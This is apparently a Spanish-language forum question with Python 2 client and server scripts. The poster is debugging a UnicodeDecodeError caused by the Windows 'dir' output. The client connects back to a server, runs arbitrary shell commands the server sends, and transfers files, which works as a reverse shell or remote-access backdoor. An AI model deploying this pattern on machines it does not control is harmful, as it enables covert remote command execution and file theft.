Estoy intentando crear un Cliente - Servidor para compartir datos entre dos maquinas diferentes.
El script funciona con sockets lo que nos permite entablar conexión con la otra maquina y ejecutar comandos en esta. Para el intercambio de información lo que hago es usar serialización de los datos en json y enviarlos, a lo que la otra maquina deserializa esa información y la imprime.
Todo funciona correctamente excepto con un comando que solo afecta en windows "dir", este comando causa un error de UnicodeDecodeError, y no he podido solucionar, porque no sé como lo podria hacer.
(Cabe recalcar que si ejecuto todo esto en linux y uso "ls" funciona correctamente, esto solo afecta con "dir" de windows)
a continuación dejo el codigo del cliente y servidor. (Todo debe ejecutarse en python2 ya que python3 da problemas al volver todo el json, lo cual pude solucionar pero me salia el mismo error que este, así que volvi a hacer todo en python2 pero nada)
client.py
import socket, subprocess
import json, base64
import os, sys, shutil
class Client:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def send_data(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def receive_data(self):
json_data = ""
while True:
try:
json_data = self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def com_exe(self, command):
DEVNULL = open(os.devnull, "wb")
return subprocess.check_output(command, shell = True, stderr = DEVNULL, stdin = DEVNULL)
def ch_dir(self, path):
os.chdir(path)
return "[+] Changing directory to: " + path
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Upload completed successfully."
def run(self):
while True:
command = self.receive_data()
try:
if command[0] == "exit":
self.connection.close()
sys.exit()
elif command[0] == "cd" and len(command) > 1:
result = self.ch_dir(command[1])
elif command[0] == "download":
result = self.read_file(command[1])
elif command[0] == "upload":
result = self.write_file(command[1], result)
else:
result = self.com_exe(command)
except Exception:
result = "[-] Error during command execution."
self.send_data(result)
#try:
my_client = Client("192.168.0.15", 1234)
my_client.run()
#except Exception:
# sys.exit()
server.py
import socket
import json, base64
import sys
class Server:
def __init__(self, ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((ip, port))
server.listen(0)
print("[+] Waiting for connections...")
self.connection, address = server.accept()
print("[+] Connection of: " + str(address))
def send_data(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def receive_data(self):
json_data = ""
while True:
try:
json_data = self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Download complete."
def read_file(self, path):
with open(path, "rb") as file:
return base64.b64encode(file.read())
def com_exe(self, command):
self.send_data(command)
if command[0] == "exit":
self.connection.close()
sys.exit()
return self.receive_data()
def run(self):
while True:
command = raw_input(">> ")
command = command.split(" ")
try:
if command[0] == "upload":
content = self.read_file(command[1])
command.append(content)
result = self.com_exe(command)
if command[0] == "download" and "[-] Error " not in result:
result = self.write_file(command[1], result)
except Exception:
result = "[-] Error during command execution."
print(result)
try:
my_server = Server("192.168.0.15", 1234)
my_server.run()
except Exception:
print("[-] Error during server execution.")
Error (terminal del client.py)
C:\Users\User\Documents\Programming\scripts>python client.py
Traceback (most recent call last):
File "client.py", line 70, in <module>
my_client.run()
File "client.py", line 66, in run
self.send_data(result)
File "client.py", line 18, in send_data
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 244, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 201, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0xa3 in position 43: invalid
start byte
Agradezco mucho a la persona que me ayude. Gracias.